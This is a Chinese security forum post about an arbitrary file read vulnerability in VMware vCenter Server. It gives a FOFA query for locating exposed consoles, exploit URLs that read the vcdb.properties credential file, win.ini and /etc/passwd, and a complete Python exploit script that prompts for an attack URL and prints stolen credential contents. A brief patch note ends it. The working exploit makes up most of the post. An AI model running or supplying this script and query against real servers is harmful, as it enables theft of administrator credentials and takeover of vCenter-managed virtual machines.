VMware vCenter Server 任意文件读取
2021-03-04 13:38:36 Author: forum.90sec.com(查看原文) 阅读量:283 收藏

漏洞描述

VMware vCenter存在任意文件读取漏洞,远程攻击者通过访问开放在外部的vCenter 控制台,可以任意读取主机上的文件。(可读取 vCenter 配置文件获得管理帐号密码)进而控制 vCenter 平台及其管理的虚拟机集群。

FOFA

title="ID_VC_Welcome"影响版本

漏洞复现

  1. 在服务器部署vcenter-server,通过浏览器访问vCenter控制台https://xxxx/
123

漏洞POC

windows

  1. 直接在网站根目录后加入组件访问路径 /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties,如下图在
456
  1. 直接在网站根目录后加入组件访问路径/eam/vib?id=C:/windows/win.ini
789

linux

111

漏洞利用POC

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mVersion: VMware vCenter任意文件读取漏洞                               \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url_windows = target_url + "/eam/vib?id=C:\ProgramData\VMware\\vCenterServer\cfg\\vmware-vpx\\vcdb.properties"
    vuln_url_linux = target_url + "/eam/vib?id=/etc/passwd"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response_linux = requests.get(url=vuln_url_linux, headers=headers, verify=False, timeout=5)
        response_windows = requests.get(url=vuln_url_windows, headers=headers, verify=False, timeout=5)
        if "password" in response_windows.text and response_windows.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 ,成功读取 vcdb.properties \033[0m".format(target_url))
            print("\033[32m[o] Windows系统, 响应为:\n{} \033[0m".format(response_windows.text))
        elif "root" in response_linux.text and response_linux.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m".format(target_url))
            print("\033[32m[o] Linux系统, 响应为:\n{} \033[0m".format(response_linux.text))
        else:
            print("\033[31m[x] 不存在漏洞 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)

修复建议

Vmware 确认该漏洞已在 6.5u1 版本中修复,请尽快升级至安全版本或更高版本。


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